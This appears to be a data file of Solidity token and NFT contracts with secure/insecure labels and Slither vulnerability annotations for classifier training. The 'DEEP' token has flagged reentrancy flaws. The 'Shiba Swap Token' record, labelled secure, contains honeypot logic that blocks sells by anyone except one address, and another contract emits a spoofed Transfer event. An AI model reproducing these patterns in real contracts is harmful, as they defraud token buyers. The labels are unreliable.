files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract DelegateStorage {\n address public admin;\n\n address public pendingAdmin;\n\n address public attributesImplementation;\n\n address public pendingAttributesImplementation;\n\n mapping(address => bool) public controllers;\n}",
"file_name": "solidity_code_2619.sol",
"secure": 1,
"size_bytes": 318
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 68963c8): DEEP.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 68963c8: Consider ordering multiplication before division.\ncontract DEEP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 57c1dfa): DEEP.bots is never initialized. It is used in DEEP._transfer(address,address,uint256)\n\t// Recommendation for 57c1dfa: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dea88ac): DEEP._taxWallet should be immutable \n\t// Recommendation for dea88ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19f7fd5): DEEP._initialBuyTax should be constant \n\t// Recommendation for 19f7fd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7668ce): DEEP._initialSellTax should be constant \n\t// Recommendation for c7668ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b0f1ea): DEEP._finalBuyTax should be constant \n\t// Recommendation for 0b0f1ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: faa9e62): DEEP._finalSellTax should be constant \n\t// Recommendation for faa9e62: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0677a5): DEEP._reduceBuyTaxAt should be constant \n\t// Recommendation for c0677a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1265fc1): DEEP._reduceSellTaxAt should be constant \n\t// Recommendation for 1265fc1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f5248b): DEEP._preventSwapBefore should be constant \n\t// Recommendation for 6f5248b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 69420000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DEEP\";\n\n string private constant _symbol = unicode\"DEEP\";\n\n\t// divide-before-multiply | ID: 6d33729\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 68963c8\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 37dae9d): DEEP._taxSwapThreshold should be constant \n\t// Recommendation for 37dae9d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 549cf72\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 41f3eba): DEEP._maxTaxSwap should be constant \n\t// Recommendation for 41f3eba: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 5c4df7c\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2607108A23d9Bc4bA8Bd74194D0e60525235Bc88);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 48960b9): DEEP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 48960b9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ef869f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ef869f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 95d4278): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 95d4278: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ef869f3\n\t\t// reentrancy-benign | ID: 95d4278\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ef869f3\n\t\t// reentrancy-benign | ID: 95d4278\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 507f7e8): DEEP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 507f7e8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 95d4278\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ef869f3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c27c0ed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c27c0ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 57c1dfa): DEEP.bots is never initialized. It is used in DEEP._transfer(address,address,uint256)\n\t// Recommendation for 57c1dfa: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cb8aa90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cb8aa90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c27c0ed\n\t\t\t\t// reentrancy-eth | ID: cb8aa90\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c27c0ed\n\t\t\t\t\t// reentrancy-eth | ID: cb8aa90\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cb8aa90\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cb8aa90\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cb8aa90\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c27c0ed\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cb8aa90\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cb8aa90\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c27c0ed\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c27c0ed\n\t\t// reentrancy-events | ID: ef869f3\n\t\t// reentrancy-benign | ID: 95d4278\n\t\t// reentrancy-eth | ID: cb8aa90\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c27c0ed\n\t\t// reentrancy-events | ID: ef869f3\n\t\t// reentrancy-eth | ID: cb8aa90\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6cc171e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6cc171e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f599795): DEEP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f599795: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ea4a05): DEEP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0ea4a05: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 657f12c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 657f12c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6cc171e\n\t\t// reentrancy-eth | ID: 657f12c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6cc171e\n\t\t// unused-return | ID: 0ea4a05\n\t\t// reentrancy-eth | ID: 657f12c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6cc171e\n\t\t// unused-return | ID: f599795\n\t\t// reentrancy-eth | ID: 657f12c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 6cc171e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 657f12c\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_262.sol",
"secure": 0,
"size_bytes": 18207
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./DelegateStorage.sol\" as DelegateStorage;\n\nabstract contract AttributesStorage is DelegateStorage {\n address public _nftAddress;\n\n uint256 public MAX = 100000000;\n uint256 public MIN = 0;\n\n mapping(uint256 => uint256) public intelligence;\n mapping(uint256 => uint256) public agility;\n mapping(uint256 => uint256) public aggressivity;\n}",
"file_name": "solidity_code_2620.sol",
"secure": 1,
"size_bytes": 435
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract VTKN is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor() {\n _name = \"VToken\";\n _symbol = \"VTKN\";\n _decimals = 18;\n _totalSupply = 1000000000000000000000000000;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2621.sol",
"secure": 1,
"size_bytes": 4936
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0xf3c30D8a1bF000F22D449Dd930056d50A231371c,\n 1000000000 * 10 ** 18\n );\n _enable[0xf3c30D8a1bF000F22D449Dd930056d50A231371c] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Shiba Swap Token\";\n _symbol = \"SST;\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2622.sol",
"secure": 1,
"size_bytes": 6004
} |
{
"code": "// SPDX-License-Identifier: None\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is IERC20 {\n string public name;\n string public symbol;\n uint8 public decimals;\n uint256 private _totalSupply;\n address private _owner;\n address private _pair;\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowed;\n constructor() {\n name = \"t.me/mysterydogetoken\";\n symbol = \"t.me/mysterydogetoken\";\n decimals = 18;\n _totalSupply = 1000000000 * 10 ** 18;\n balances[msg.sender] = _totalSupply;\n _owner = msg.sender;\n emit Transfer(\n 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B,\n address(0),\n _totalSupply\n );\n }\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n function createPair() public {\n require(msg.sender == _owner);\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n }\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] -= tokens;\n balances[to] += tokens;\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] -= tokens;\n allowed[from][msg.sender] -= tokens;\n balances[to] += tokens;\n emit Transfer(from, to, tokens);\n return true;\n }\n}",
"file_name": "solidity_code_2623.sol",
"secure": 1,
"size_bytes": 2809
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Locker {\n struct FeeStruct {\n uint256 ethFee;\n address secondaryFeeToken;\n uint256 secondaryTokenFee;\n uint256 secondaryTokenDiscount;\n uint256 liquidityFee;\n uint256 referralPercent;\n address referralToken;\n uint256 referralHold;\n uint256 referralDiscount;\n }\n\n function lockLPToken(\n address _lpToken,\n uint256 _amount,\n uint256 _unlock_date,\n address payable _referral,\n bool _fee_in_eth,\n address payable _withdrawer\n ) external payable;\n function gFees() external view returns (FeeStruct memory);\n}",
"file_name": "solidity_code_2624.sol",
"secure": 1,
"size_bytes": 734
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract PowerPups is Ownable, ERC721 {\n uint256 constant tokenPrice = 0.05 ether;\n uint256 constant maxSupply = 10000;\n\n uint256 public totalSupply = 0;\n\n uint256 public sale_startTime = 1634763600;\n bool public pause_sale = false;\n\n string public baseURI;\n\n constructor() ERC721(\"Power Pups\", \"PP\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 54bd118): PowerPups.buy(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= sale_startTime,Sale not Started Yet.)\n\t// Recommendation for 54bd118: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fdcd027): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fdcd027: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buy(uint256 _count) public payable {\n require(_count > 0, \"mint at least one token\");\n require(_count <= 20, \"Max 20 Allowed.\");\n require(totalSupply + _count <= maxSupply, \"Not enough tokens left\");\n require(msg.value == tokenPrice * _count, \"incorrect ether amount\");\n\t\t// timestamp | ID: 54bd118\n require(block.timestamp >= sale_startTime, \"Sale not Started Yet.\");\n require(pause_sale == false, \"Sale is Paused.\");\n\n for (uint256 i = 0; i < _count; i++)\n\t\t\t// reentrancy-no-eth | ID: fdcd027\n _safeMint(msg.sender, totalSupply + 1 + i);\n\n\t\t// reentrancy-no-eth | ID: fdcd027\n totalSupply += _count;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: eb0a767): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for eb0a767: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sendGifts(address[] memory _wallets) public onlyOwner {\n require(\n totalSupply + _wallets.length <= maxSupply,\n \"not enough tokens left\"\n );\n for (uint256 i = 0; i < _wallets.length; i++)\n\t\t\t// reentrancy-no-eth | ID: eb0a767\n _safeMint(_wallets[i], 